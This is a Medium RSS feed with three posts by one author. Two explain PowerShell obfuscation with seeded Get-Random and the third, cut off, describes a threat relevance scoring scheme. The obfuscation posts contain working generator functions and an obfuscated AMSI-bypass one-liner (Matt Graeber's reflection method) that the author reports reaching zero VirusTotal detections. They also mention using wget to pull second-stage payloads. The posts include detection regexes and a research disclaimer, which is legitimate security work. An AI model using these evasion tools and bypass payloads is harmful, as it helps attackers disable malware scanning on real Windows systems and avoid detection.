<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Luke Thompson on Medium]]></title>
        <description><![CDATA[Stories by Luke Thompson on Medium]]></description>
        <link>https://medium.com/@luke.howard.thompson?source=rss-3de4f2c5714c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*jK7HbWG-BCHjYYM6.jpg</url>
            <title>Stories by Luke Thompson on Medium</title>
            <link>https://medium.com/@luke.howard.thompson?source=rss-3de4f2c5714c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 21:31:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@luke.howard.thompson/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PowerShell Obfuscation via Seeded Get-Random — Part 2]]></title>
            <link>https://medium.com/@luke.howard.thompson/powershell-obfuscation-via-seeded-get-random-part-2-1e330e03adaa?source=rss-3de4f2c5714c------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e330e03adaa</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[obfuscation]]></category>
            <category><![CDATA[defense-evasion]]></category>
            <category><![CDATA[powershell]]></category>
            <dc:creator><![CDATA[Luke Thompson]]></dc:creator>
            <pubDate>Mon, 16 Mar 2026 00:10:05 GMT</pubDate>
            <atom:updated>2026-03-16T00:10:05.077Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Disclaimer: </em></strong><em>This article is written from a security research perspective. The author is not responsible for any negative impacts of this article. Be good, do good.</em></p><p>In my continued enjoyment of obfuscation, I’ve recently made some small expansions on the techniques used in <a href="https://medium.com/@luke.howard.thompson/powershell-obfuscation-via-seeded-get-random-2f125a7321dd">my previous Medium article</a> on using seeded Get-Random as a means of obfuscating PowerShell. Giving credit where credit is due, <a href="https://medium.com/u/e8a45836ea52">Harrison Sharp</a>’s knowledge of PowerShell and obfuscation was instrumental in identifying the techniques discussed below and their relevance to the seeded Get-Random technique.</p><p><strong>Using Strings To Invoke Cmdlets and Access Properties</strong></p><p>This expansion on the seeded Get-Random technique hinges on the ability to invoke PowerShell cmdlets and access properties via strings or variables, without needing to use Invoke or &amp; techniques.</p><p>By way of example for the Get-Service cmdlet, the following are all equivalent in that they result in the running of the Get-Service cmdlet:</p><pre>Get-Service</pre><pre>.&quot;Get-Service&quot;</pre><pre>.(&quot;Get-Service&quot;)</pre><pre>$x = &quot;Get-Service&quot;<br>.$x</pre><pre>$x = &quot;Get-Service&quot;<br>.($x)</pre><p>By way of example for accessing properties, the following are all equivalent in getting the number of results for the Get-Service cmdlet:</p><pre>(.&quot;Get-Service&quot;).&quot;Count&quot;</pre><pre>(.&quot;Get-Service&quot;).(&quot;Count&quot;)</pre><pre>$x = &quot;Get-Service&quot;<br>$y = &quot;Count&quot;<br>(.$x).$y</pre><pre>$x = &quot;Get-Service&quot;<br>$y = &quot;Count&quot;<br>(.$x).($y)</pre><p>It is important to note the placement of the period in relation to the parenthesis and how they differ between invoking a cmdlet and accessing a property.</p><p><strong>Applying the Seeded Get-Random Technique</strong></p><p>In the culmination of my initial Medium article of this technique, an example payload looked like the following; as a reminder, this payload is the equivalent of “Test-Connection 8.8.8.8”:</p><pre>[string]::new(([char[]]&quot;oi.8n one.etsn8-Cc8.tT8&quot;|Get-Random -S 783221326 -C 23))|iex</pre><p>In this example, there is a single obfuscated payload which still needs to be passed to IEX in order for it to actually run. While the pattern footprint is smaller, the presence of IEX and its variants is still enough for it to be flagged as of interest when conducting hunting operations.</p><p>With the ability to use strings, especially as variables or within parenthesis, to invoke specific cmdlets or access specific parameters, we can modify our string obfuscation so it does not need to be passed to IEX. Instead, it can replace each instance of a string in the payload inline, further reducing the detection pattern footprint.</p><p>Using the “Test-Connection 8.8.8.8” example, the following are all equivalent in their results:</p><pre>Test-Connection 8.8.8.8</pre><pre>.(&quot;Test-Connection&quot;) &quot;8.8.8.8&quot;</pre><pre> .([string]::new(([char[]]&quot;TsneciteCto-non&quot;|Get-Random -S 62077797 -C 15))) (([string]::new(([char[]]&quot;8.8..88&quot;|Get-Random -S 289471980 -C 7))))</pre><p>Likewise for the “(Get-Service).Count” example, the following are all equivalent in their results:</p><pre>(Get-Service).Count</pre><pre>(.(&quot;Get-Service&quot;)).(&quot;Count&quot;)</pre><pre>(.([string]::new(([char[]]&quot;treiecSv-eG&quot;|Get-Random -S 1905206865 -C 11)))).([string]::new(([char[]]&quot;uCotn&quot;|Get-Random -S 1726692914 -C 5)))</pre><p>As demonstrated, we can use the seeded Get-Random technique inline with the payload so that we don’t need to make use of IEX, and the results are still the same. However, with the number of cmdlets and properties that might be in a PowerShell script or one-liner that would be useful enough to warrant obfuscation, it can get a bit tedious building all of these out.</p><p><strong>Automating the New Technique</strong></p><p>The best way to remove tedium is with some sort of automation. However, we still want to be able to have a bit of control over what is and isn’t obfuscated. Functionality wise, being able to mark or indicate what strings in a payload should be obfuscated would be ideal for myself. To that end, I settled on a payload format to my liking which is shown below and compared against the non-obfuscated payload.</p><pre>(.(&quot;Get-Service&quot;)).(&quot;Count&quot;)</pre><pre>(.###Get-Service###).###Count###</pre><p>For the payload format I settled on, the strings to be obfuscated are wrapped in “###”. I settled on this as the hash character is the least likely to be intended for something else by PowerShell, other than a comment or within a string as a header or for formatting. However, PowerShell which warrants obfuscation is not likely to be commented or have output that is formatted a certain way. Even if there are instances where it is needed, having three hashes in a row is even less likely.</p><p>Note that in this format, we do not need to worry about the quotation marks around the string nor the innermost set of parenthesis.</p><p>To implement this format, I wrote the following functions:</p><pre>function Get-GetRandomObfuscatedString($string)<br>{<br>    $r = (0..($string.Length-1))<br>    $seed = Get-Random<br>    $shuffled = $r | Get-Random -S $seed -Count $string.Length<br>    $unshuffled = $string.ToCharArray()<br>    for ($i=0;$i -lt $unshuffled.Length; $i++)<br>    {<br>        $unshuffled[$shuffled[$i]]=$string[$i]<br>    }<br>    $unshuffled = -join $unshuffled<br>    return &quot;([string]::new(([char[]]`&quot;{0}`&quot;|Get-Random -S {1} -C {2})))&quot; -f $unshuffled,$seed,$string.Length<br>}<br><br>function Set-ClipboardToRandomlyObfuscatedPayload($payload)<br>{<br>    $obfuscatedPayload = [regex]::Replace($payload, &quot;###(.*?)###&quot;,{<br>        param($match)<br>        Get-GetRandomObfuscatedString $match.Groups[1].Value<br>    })<br>    Write-Host &quot;IMPORTANT: Mind the newlines if you copy/paste!&quot;<br>    Write-Host $obfuscatedPayload<br>    Set-Clipboard -Value $obfuscatedPayload<br>}</pre><p>The first function is largely unmodified from my previous article on this technique, only modified to indicate we are dealing with a string and not a full command, as well as getting rid of the IEX. It also takes care of some of the formatting that is expected to address the quotation marks and innermost set of parenthesis that is absent from our format, but needs to be handled a certain way for obfuscation purposes.</p><p>The second function, continuing my habit of long cmdlet names, takes a formatted payload, generates the obfuscated payload, and both prints it and copies it to the clipboard for ease of use. It is worth noting the warning, as the newlines introduced from word wrap by printing the payload to the terminal will interfere with the Get-Random function as this is seen as an additional character when it is in the middle of the obfuscated string.</p><p>Usage of these, again with the “(Get-Service).Count” example, is shown below:</p><pre>Set-ClipboardToRandomlyObfuscatedPayload @&#39;<br>(.###Get-Service###).###Count###<br>&#39;@</pre><p>Note the use of here-strings. I find that this helps make things more readable and precludes the need to escape quotation marks or other special characters. Below is an instance of the output for this payload:</p><pre>(.([string]::new(([char[]]&quot;teirecG-veS&quot;|Get-Random -S 2032803772 -C 11)))).([string]::new(([char[]]&quot;nouCt&quot;|Get-Random -S 627385426 -C 5)))</pre><p><strong>Results of Applying This Technique to AMSI Bypass</strong></p><p>The reason for expanding on the seeded Get-Random obfuscation technique is because I’ve been learning more about AMSI bypass techniques and, with these naturally being relevant to PowerShell, it seemed like a good opportunity to use my seeded Get-Random technique. It also helps to determine the usefulness of this obfuscation.</p><p>Since we need to keep the technique solely in PowerShell, we’ll focus on the <a href="https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-amsi-bypass/#using-matt-graebers-reflection-method">Matt Graeber Reflection method</a> for our testing. This method makes use of the following PowerShell one-liner to disable AMSI:</p><pre>[Ref].Assembly.GetType(&#39;System.Management.Automation.AmsiUtils&#39;).GetField(&#39;amsiInitFailed&#39;,&#39;NonPublic,Static&#39;).SetValue($null,$true)</pre><p>Placing the above one-liner in a .ps1 file and uploading it to VirusTotal shows us that there are 26 hits out of 62 vendors (at the time of this article’s writing). The results for this can be seen <a href="https://www.virustotal.com/gui/file/4424a82ae3b88b16495d49f8a40f006ddc22d6bfc912d3db744c19e547459bcc">here</a>. This makes it a perfect candidate to test obfuscation as there are a fair few number of hits for this technique.</p><p>In order to apply the formatting developed for the automation of this technique, we need to identify the strings that can be obfuscated. The list of strings are below, in order that they appear in the one-liner; please note that this technique does not seem to apply to “[Ref]”, or likely any type presented in the square brackets:</p><pre>Assembly<br>GetType<br>System.Management.Automation.AmsiUtils<br>GetField<br>amsiInitFailed<br>NonPublic,Static<br>SetValue</pre><p>Taking the above strings, applying the ### formatting, and passing it to our function, we get the following:</p><pre>Set-ClipboardToRandomlyObfuscatedPayload @&#39;<br>[Ref].###Assembly###.###GetType###(###System.Management.Automation.AmsiUtils###).###GetField###(###amsiInitFailed###,###NonPublic,Static###).###SetValue###($null,$true)<br>&#39;@</pre><p>An instance of the output for running this is as follows:</p><pre>[Ref].([string]::new(([char[]]&quot;syesmlAb&quot;|Get-Random -S 1283403495 -C 8))).([string]::new(([char[]]&quot;TGyetpe&quot;|Get-Random -S 1706813519 -C 7)))(([string]::new(([char[]]&quot;mga.itooAitAy..nasuneneltmUstmamtisMSe&quot;|Get-Random -S 2139146738 -C 38)))).([string]::new(([char[]]&quot;lidteGFe&quot;|Get-Random -S 410154082 -C 8)))(([string]::new(([char[]]&quot;iIimdaFtisenal&quot;|Get-Random -S 451381088 -C 14))),([string]::new(([char[]]&quot;tSiPiNc,ulcabtno&quot;|Get-Random -S 876830628 -C 16)))).([string]::new(([char[]]&quot;tuelSVea&quot;|Get-Random -S 997360300 -C 8)))($null,$true)</pre><p>Placing the above obfuscated payload into a .ps1 file and uploading it to VirusTotal shows that we get 1 hit (at the time of this article’s writing). The results for this can be seen <a href="https://www.virustotal.com/gui/file/83fdc3982f8d44801fe3510f7d9d1e08364ffa098fcc0e32194dd83a68fcfc8d">here</a>. This was surprising to me as previous testing had shown 0 hits, but of interest is the label of “Trojan:Script/Wacatac.B!ml” that was applied. This is not the expected label for an AMSI Bypass, so my initial hunch was that one of the obfuscated strings was causing a different and unrelated pattern to match. To test this, I reran the “Set-ClipboardToRandomlyObfuscatedPayload” cmdlet with the same payload, resulting in the following output:</p><pre>[Ref].([string]::new(([char[]]&quot;seyblAms&quot;|Get-Random -S 264943025 -C 8))).([string]::new(([char[]]&quot;GypeteT&quot;|Get-Random -S 1895477664 -C 7)))(([string]::new(([char[]]&quot;mmSAnnssolyttttge.ntamomeMasA.U.eaiiui&quot;|Get-Random -S 1106653375 -C 38)))).([string]::new(([char[]]&quot;lteeGiFd&quot;|Get-Random -S 2058132151 -C 8)))(([string]::new(([char[]]&quot;laaidiintsmeFI&quot;|Get-Random -S 702110511 -C 14))),([string]::new(([char[]]&quot;iuobaSN,ctnlitPc&quot;|Get-Random -S 1128666305 -C 16)))).([string]::new(([char[]]&quot;SuelaeVt&quot;|Get-Random -S 349528958 -C 8)))($null,$true)</pre><p>Placing this new iteration of the obfuscated payload into a .ps1 file and uploading it to VirusTotal shows the expected 0 hits (at the time of this article’s writing). The results for this can be seen <a href="https://www.virustotal.com/gui/file/7361ab4a98bf76409b4b9f3fd7d3c13bc2b124268e0882e05a3a2cdffc659702">here</a>. This is an important lesson that with the shuffling of the characters in the obfuscated string, it is still possible to trigger detections. It may warrant modification of the obfuscating function to check to see if the generated string matches any potentially detected patterns, but this will be left as an exercise to the reader.</p><p><strong>Hunting For Use of This Technique</strong></p><p>With the removal of the IEX cmdlet and the demonstration of getting 0-hit AMSI bypasses with inline obfuscation, it would be irresponsible to not touch on ways to hunt for or detect this technique.</p><p>The original technique made use of a single instance of obfuscation, so the following pattern would serve to have detected it:</p><pre>[regex]::Match($powershell_line, &quot;.*string.*new.*char.*Get\-Random.*\-S.*IEX.*&quot;,&#39;IgnoreCase&#39;)</pre><p>This pattern searches for the keywords of the technique, including the use of IEX. This is important as the use of Get-Random, or even seeded Get-Random, is not inherently malicious and searching for it without the IEX variant would be prone to false positives.</p><p>With the expansion of the technique discussed in the article such that it no longer uses IEX, our hunting pattern must pivot to using a different means of identification. Specifically, since we are using this technique against multiple instances of strings in a single line, it stands to reason that looking for multiple instances of the pattern would be the way to go.</p><pre>[regex]::Match($powershell_line, &quot;(.*?string.*?new.*?char.*?Get\-Random.*?\-S.*?){2,}&quot;,&#39;IgnoreCase&#39;)</pre><p>With the above regex, we ditched looking for “IEX”, made the pattern non-greedy (to ensure that we’re getting an accurate count of matches), and indicated that we want to match the string at least 2 times. While I do not know what the normal/expected usage for seeded Get-Random is, I would not expect for it to occur naturally more than once per line. If this pattern results in false positives when used for hunting in specific environments, the number may need to be tweaked to be higher.</p><p><strong>Conclusion</strong></p><p>I’m happy to be able to expand on my original technique to make it inline and get rid of the IEX. It is worth noting that if you still need IEX, this technique can also be applied to it:</p><pre>&quot;Get-Service&quot; | .([string]::new(([char[]]&quot;XIE&quot;|Get-Random -S 622991768 -C 3)))</pre><p>Since the “IEX” string is so small, there are a very limited number of variations, so it is important to ensure that it is actually shuffled. Alternatively, you can apply the obfuscation technique to the full “Invoke-Expression” cmdlet name, which would result in a more appropriate number of shuffled variations.</p><p>In all, this expansion to the seeded Get-Random obfuscation technique appears to serve it well in evading detections, especially with being able to get the 0-detect AMSI bypass with inline obfuscation and no normal/expected functions such as IEX or might be used for Base64 deobfuscation.</p><p><em>Thanks to </em><a href="https://medium.com/u/e8a45836ea52"><em>Harrison Sharp</em></a><em> for a major role in this technique and review. Thanks to </em><a href="https://medium.com/u/cc1390803af5"><em>Aaron Stratton</em></a><em> for review.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e330e03adaa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PowerShell Obfuscation via Seeded Get-Random]]></title>
            <link>https://medium.com/@luke.howard.thompson/powershell-obfuscation-via-seeded-get-random-2f125a7321dd?source=rss-3de4f2c5714c------2</link>
            <guid isPermaLink="false">https://medium.com/p/2f125a7321dd</guid>
            <category><![CDATA[defense-evasion]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[obfuscation]]></category>
            <category><![CDATA[random]]></category>
            <category><![CDATA[powershell]]></category>
            <dc:creator><![CDATA[Luke Thompson]]></dc:creator>
            <pubDate>Wed, 08 Oct 2025 00:49:35 GMT</pubDate>
            <atom:updated>2025-10-08T00:49:35.043Z</atom:updated>
            <content:encoded><![CDATA[<p><strong><em>Disclaimer:</em></strong><em> This article is written from a security research perspective. The author is not responsible for any negative impacts as a result of this article. Be good, do good.</em></p><p>One of the areas I enjoy in Cybersecurity is obfuscation. While as a blue-teamer I probably shouldn’t enjoy it as much as I do, it always seems to be a tactic that is ripe with possibility and driven by imagination. Sometimes I get an idea in my head for some obfuscation technique and I need to dabble a little bit.</p><p>Admittedly, some forms of defense obfuscation I absolutely loathe. Anything JavaScript is a pain and trying to work with something like Gootloader is even more painful. However, PowerShell obfuscation always managed to be interesting and fun without being overly challenging on manual deobfuscation. Perhaps it is a skill issue.</p><p><strong>Obfuscating IPv4 Addresses via Seeded Get-Random</strong></p><p>My initial obfuscation idea was to use Get-Random to obfuscate an IP address. As per <a href="https://github.com/bobby-tablez/IP-Obfuscator">this GitHub page</a>, you can replace IP addresses in a surprising number of situations with an integer (among other formats). Since Get-Random is a psuedo-random number generator, we can specify a seed value that will control what the outputs are, and use a little math to make sure we get the expected integer value for the IP address of interest.</p><pre>function Get-GetRandomObfuscatedIP([string]$TargetIPAddress)<br>{<br>    function Convert-IPAddressToLong([string]$IPAddress)<br>    {<br>        return ([System.Net.IPAddress]$IPAddress).Address<br>    }<br>    <br>    $maxIPAddress = Convert-IPAddressToLong &quot;255.255.255.255&quot;<br>    $modulo = Get-Random -Maximum $maxIPAddress<br>    $target = Convert-IPAddressToLong $TargetIPAddress<br>    $randomvalue = Get-Random<br>    $outcome = (Get-Random -SetSeed $randomvalue)%$modulo<br>    $delta = $target-$outcome<br>    <br>    Write-Host (&quot;Target IP Address = {0}&quot; -f $target)<br>    Write-Host (&quot;(Get-Random -S {0})%{1}+{2}&quot; -f $randomvalue,$modulo,$delta)<br>}</pre><p>With the above function, we can run it and get output like so:</p><pre>PS C:\Users&gt; Get-GetRandomObufscatedIP &quot;8.8.8.8&quot;<br>Target IP Address = 134744072<br>(Get-Random -S 1956066162)%3874000537+-1796624167</pre><p>Testing the output with the ping command:</p><pre>PS C:\Users&gt; ping ((Get-Random -S 1956066162)%3874000537+-1796624167)<br><br>Pinging 8.8.8.8 with 32 bytes of data:<br>Reply from 8.8.8.8: bytes=32 time=13ms TTL=112<br>Reply from 8.8.8.8: bytes=32 time=13ms TTL=112<br>Reply from 8.8.8.8: bytes=32 time=16ms TTL=112<br>Reply from 8.8.8.8: bytes=32 time=22ms TTL=112<br><br>Ping statistics for 8.8.8.8:<br>    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),<br>Approximate round trip times in milli-seconds:<br>    Minimum = 13ms, Maximum = 22ms, Average = 16ms</pre><p>This is a solid proof-of-concept for IPv4 addresses, but I was interested in pairing it with something more functional than ping. Often, wget is used to pull a second stage payload, so I started to wonder what it would look like to generate a small string such as “ping” or “wget” using Get-Random.</p><p><strong>Obfuscating PowerShell Aliases via Seeded Get-Random</strong></p><p>PowerShell has several useful aliases that are a few characters long. For my purposes, testing “ping” and “wget”, I was able to focus only on those that are 4-characters long. Even so, I knew it would take a bit of brute-forcing to determine the necessary seed for Get-Random to generate the string, even if it was so short.</p><pre>$x = 1<br>while($true)<br>{<br>    $y = -join ((97..122) | Get-Random -S $x -Count 4 | %{[char]$_})<br>    if($y -eq &quot;ping&quot;)<br>    {<br>        write-host $x<br>        break<br>    }<br>    $x+=1<br>}</pre><p>As you can see from the above snippet, my brute-forcing is only concerned with lower-case letters. Using Get-Random in this fashion will remove an element from the array of lowercase characters when it is selected, however for the purposes of “ping” and “wget” they do not reuse letters so this was not of concern. If this is being used for any of the aliases that do reuse letters, you would need to use something like ((97..122)*2) instead.</p><p>Running the above for a little bit, I was able to determine the following command would run “ping 8.8.8.8” in combination with output from the obfuscated IP address above:</p><pre>-join ((97..122) | Get-Random -S 116411 -Count 4 | %{[char]$_})+&quot; &quot;+((Get-Random -S 1956066162)%3874000537+-1796624167)|iex</pre><p>Swapping “116411” above for “615745” gives us the “wget” output that we would need to pair with the IP address in order to actually pull the contents of the remote service. This is all well and good, but since we can’t re-use characters from (97..122) and the brute-forcing limits it to only being relevant for shorter strings, this may not be the best situation. What if we were able obfuscate entire strings using a seeded Get-Random, without needing to brute force like this?</p><p><strong>Obfuscating Entire Strings via Seeded Get-Random</strong></p><p>While doing some searching related to the above, I had stumbled upon <a href="https://stackoverflow.com/a/35000277">this Stack Overflow post</a> from 9 years ago. It basically had the answer for what I was looking for, enabling me to put together this function to generate a string obfuscator using seeded Get-Random:</p><pre>function Get-GetRandomObfuscatedCommand($command)<br>{<br>    $r = (0..($command.Length-1))<br>    $seed = Get-Random<br>    $shuffled = $r | Get-Random -S $seed -Count $command.Length<br>    $unshuffled = $command.ToCharArray()<br>    for ($i=0;$i -lt $unshuffled.Length; $i++)<br>    {<br>        $unshuffled[$shuffled[$i]]=$command[$i]<br>    }<br>    $unshuffled = -join $unshuffled<br>    return &quot;-join (`&quot;{0}`&quot;.ToCharArray()|Get-Random -S {1} -C {2})&quot; -f $unshuffled,$seed,$command.Length<br>}</pre><p>With the above function, we can run and get output like so:</p><pre>PS C:\Users&gt; Get-GetRandomObfuscatedCommand &quot;ping 8.8.8.8&quot;<br>-join (&quot;88n .p..8g8i&quot;.ToCharArray()|Get-Random -S 1529901186 -C 12)</pre><p>And then testing this generated output:</p><pre>PS C:\Users&gt; -join (&quot;88n .p..8g8i&quot;.ToCharArray()|Get-Random -S 1529901186 -C 12) | iex<br><br>Pinging 8.8.8.8 with 32 bytes of data:<br>Reply from 8.8.8.8: bytes=32 time=19ms TTL=112<br>Reply from 8.8.8.8: bytes=32 time=16ms TTL=112<br>Reply from 8.8.8.8: bytes=32 time=19ms TTL=112<br>Reply from 8.8.8.8: bytes=32 time=18ms TTL=112<br><br>Ping statistics for 8.8.8.8:<br>    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),<br>Approximate round trip times in milli-seconds:<br>    Minimum = 16ms, Maximum = 19ms, Average = 18ms</pre><p>While the IP address obfuscation technique stands alone on its own, being able to shuffle and unshuffle an entire string in this fashion appears to be a nice way to bypass pattern-based detections. There are still some detectable elements, such as the “-join”, “ToCharArray()”, “Get-Random”, and “iex”, but this isn’t too much to go off of. A friend of mine who I shared this TTP with during development noted that “-join” can be replaced with “[string]::new()” and “ToCharArray()” can be replaced with “[char[]]” to further reduce, or at least change, what can be detected upon. Based on this, the final proof-of-concept for the string obfuscation is below:</p><pre>function Get-GetRandomObfuscatedCommand($command)<br>{<br>    $r = (0..($command.Length-1))<br>    $seed = Get-Random<br>    $shuffled = $r | Get-Random -S $seed -Count $command.Length<br>    $unshuffled = $command.ToCharArray()<br>    for ($i=0;$i -lt $unshuffled.Length; $i++)<br>    {<br>        $unshuffled[$shuffled[$i]]=$command[$i]<br>    }<br>    $unshuffled = -join $unshuffled<br>    return &quot;[string]::new(([char[]]`&quot;{0}`&quot;|Get-Random -S {1} -C {2}))|iex&quot; -f $unshuffled,$seed,$command.Length<br>}</pre><p>Which when ran:</p><pre>PS C:\Users&gt; Get-GetRandomObfuscatedCommand &quot;Test-Connection 8.8.8.8&quot;<br>[string]::new(([char[]]&quot;oi.8n one.etsn8-Cc8.tT8&quot;|Get-Random -S 783221326 -C 23))|iex</pre><p><strong>Conclusion</strong></p><p>What started out as a dinky little idea turned out better than I expected. Some friends who were playing with the above proof-of-concept were able to get some pretty devious PowerShell to be generated and run without it being detected as expected. With the recommendations that they provided, the only pattern-based tells for this activity are the following strings:</p><ul><li>[string]::new</li><li>[char[]]</li><li>Get-Random</li><li>iex</li></ul><p>With the exception of “iex”, the rest are pretty unassuming. There’s the risk of the shuffled string having some pattern of concern, but this can be mitigated by regenerating the output or implementing an automatic check for certain patterns, in which case the function can try again with a new seed.</p><p><em>Thanks to </em><a href="https://medium.com/u/e8a45836ea52"><em>Harrison Sharp</em></a><em> for additional obfuscation tips and review. Thanks to </em><a href="https://medium.com/u/cc1390803af5"><em>Aaron Stratton</em></a><em> for review.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f125a7321dd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[V.I.T.A.L. — A Cyber Threat Relevance Scoring System]]></title>
            <link>https://medium.com/@luke.howard.thompson/v-i-t-a-l-a-cyber-threat-relevance-scoring-system-315c8f30ed44?source=rss-3de4f2c5714c------2</link>
            <guid isPermaLink="false">https://medium.com/p/315c8f30ed44</guid>
            <category><![CDATA[cyber-threat-intelligence]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Luke Thompson]]></dc:creator>
            <pubDate>Sun, 05 Nov 2023 17:10:22 GMT</pubDate>
            <atom:updated>2023-11-05T17:10:22.506Z</atom:updated>
            <content:encoded><![CDATA[<h3>V.I.T.A.L. — A Cyber Threat Relevance Scoring System</h3><p>When it comes to Cyber Threat Intelligence, some organizations do not have a method to prioritize handling public reports of threat actor campaigns. Reading articles and comments from Reddit and LinkedIn, it seems that when a new report comes out, it gets added to a queue in order to assess whether the organization is protected against such a campaign.</p><p>If we assume this queue works like most queues, countermeasures and defenses are developed in a First-In-First-Out fashion instead of prioritizing based on the nature of the campaign and its relevance to the organization. When there are a few such reports in the queue for assessment, this lack of prioritization is hardly ideal and has the potential to impact the security of an organization.</p><p>In the interest of addressing this problem, and having a system for prioritizing response to Cyber Threat Intelligence reporting on campaigns, I have come up with a system to provide “Cyber Threat Relevance Scoring”. By no means am I an expert or a big name in this field, but as I am aware of no similar system, my hope is to at least get the conversation started on what such a system would look like.</p><p>For the system I have come up with, I have selected five aspects of a campaign to use in scoring:</p><ul><li><strong>Vector</strong> — What is the initial or primary type of vector for the campaign?</li><li><strong>Impact</strong> — What is the impact, or end-goal, of the campaign?</li><li><strong>Target</strong> — What is the category of the target of the campaign, in relation to your own organization?</li><li><strong>Actor</strong> — What kind of threat actor was responsible for the campaign?</li><li><strong>Length</strong> — How long did the campaign effectively take from Vector to Impact?</li></ul><p>Each of these aspects has an associated criticality level of either Critical, High, Medium, or Low, with numerical values of 4, 3, 2, and 1 respectively. The overall V.I.T.A.L. threat relevance score for your organization regarding a specific campaign would be the average of the five aspects.</p><p>Let’s go over each aspect in a bit more detail before giving some examples and showing how this system would be used. Some of the criticality levels may not make sense at first, such as Insider Threat having a low criticality, but keep in mind that the context and perspective for the scoring is how to prioritize developing countermeasures for your own organization; an Insider Threat at another organization has less impact to your own.</p><h4>Vector</h4><p>For the vector aspect, our four criticality levels are based off of the initial or primary attack vector and whether the impacted organization in the campaign was explicitly targeted or if it was an opportunistic attack; they are defined as:</p><ul><li><strong>CRITICAL — Targeted Organization, No User Interaction</strong> — <em>Exploits and zero-days account for a lot of targeted initial vectors which require no user interaction. Targeted in this sense means the threat actor knew the targeted organization was vulnerable to a specific exploit.</em></li><li><strong>HIGH — Targeted Organization, User Interaction</strong> — <em>Spear-phishing and social engineering account for this criticality. The campaign relied on a user clicking or otherwise interacting with malicious content in order for it to work.</em></li><li><strong>MEDIUM — Not Targeted, No User Interaction</strong> — <em>Exploits may account for this criticality, but the threat actor either didn’t realize the impacted organization was vulnerable or it was a target of opportunity and luck.</em></li><li><strong>LOW — Not Targeted, User Interaction</strong> — <em>Watering-hole attacks, or compromised websites in general, account for this criticality level. Even if a watering-hole attack is “targeting” a specific industry, it doesn’t necessarily target a specific organization.</em></li></ul><h4>Impact</h4><p>For the impact aspect, our four criticality levels are defined as:</p><ul><li><strong>CRITICAL — Destruction or Disruption</strong> — <em>Malicious campaigns involving wipers or disrupting ICS/IoT environments fall under this criticality level. The threat actor is looking to actively cause harm and damage.</em></li><li><strong>HIGH — Theft</strong> — <em>This occurs when the threat actor steals files, intellectual property, or otherwise exfiltrate sensitive data. More modern ransomware that both steal data and charge a ransom fall under this criticality level.</em></li><li><strong>MEDIUM — Profit</strong> — <em>If a ransomware campaign is only encrypting data and is not exfiltrating it as a secondary means of ransom, it would fall under this criticality level.</em></li><li><strong>LOW — Presence</strong> — <em>Threat actors may not be interested in actively destroying, disrupting, stealing, or even making a profit. They may want to maintain a presence in the compromised environment and use it as a botnet or wait for future opportunities. While this is by no means a “low” impact, from the perspective of developing countermeasures it is the lowest priority impact compared to the others.</em></li></ul><h4>Target</h4><p>For the target aspect, our four criticality levels are based off of the campaign’s target in relation to your organization, and are defined as:</p><ul><li><strong>CRITICAL — Your Organization Specifically or Historically</strong> — <em>If the campaign targeted your organization (such as another branch or division), or the threat actor behind the campaign has targeted your organization in the past, then this elevates the criticality of your response.</em></li><li><strong>HIGH — Same Sector as Your Organization</strong> — <em>If your organization is in the financial sector, and the campaign targeted a bank, then this would be a high criticality in regards to the target aspect. What a “sector” is in this regard is a bit open to interpretation, but the more overlap there is between what your organization does and what the targeted organization does, the more likely this criticality level applies.</em></li><li><strong>MEDIUM — Same Country as Your Organization</strong> — <em>This occurs when the targeted organization is not in the same business sector as your organization is, but resides in the same country as your organization.</em></li><li><strong>LOW — General Threat or No Known Relation</strong> — <em>When the threat intelligence report is for a campaign that targeted an organization that has no real relation to your own organization, it is a low criticality level for this aspect.</em></li></ul><h4>Actor</h4><p>For the actor aspect, our four criticality levels are defined as:</p><ul><li><strong>CRITICAL — Advanced Persistent Threat (APT) Actors</strong> — <em>APTs are generally associated with nation-state activity. Due to the resources and capabilities available to these actors, campaigns associated with them should be treated with higher priority.</em></li><li><strong>HIGH — Fiscally or Criminally Motivated Actors</strong> — <em>These actors can have plenty of resources, capabilities, and motivations as well, but likely not as much as an APT.</em></li><li><strong>MEDIUM — Hacktivist Actors</strong> — <em>While Hactivists are by no means “not a threat”, their limited resources and capabilities compared to the previous two actors reduces their prioritization. Given these limited resources, they cannot necessarily target as many organization over a given period of time as APTs or Criminal Threat Actors.</em></li><li><strong>LOW — Script Kiddie Actors or Insider Threats</strong> — <em>Campaigns by script kiddies or which require insider threats have the least priority for responding. While insider threats are a very real and present danger, it is unlikely that a campaign accomplished with an insider threat from another organization will have as much relevance for your own organization.</em></li></ul><h4>Length</h4><p>For the length aspect, our four criticality levels are based off how long the campaign took from initial access to having a noticeable impact on the organization, and are defined as:</p><ul><li><strong>CRITICAL — A Matter of Hours</strong> — <em>Smash-and-grabs are the most likely type of campaign which can be accomplished in a matter of hours, if not minutes. Due to the very small window of detection and response, these campaigns have the highest priority for the length of time aspect.</em></li><li><strong>HIGH — A Matter of Days</strong> — <em>Campaigns which take a matter of days have less of a priority than those which take a matter of 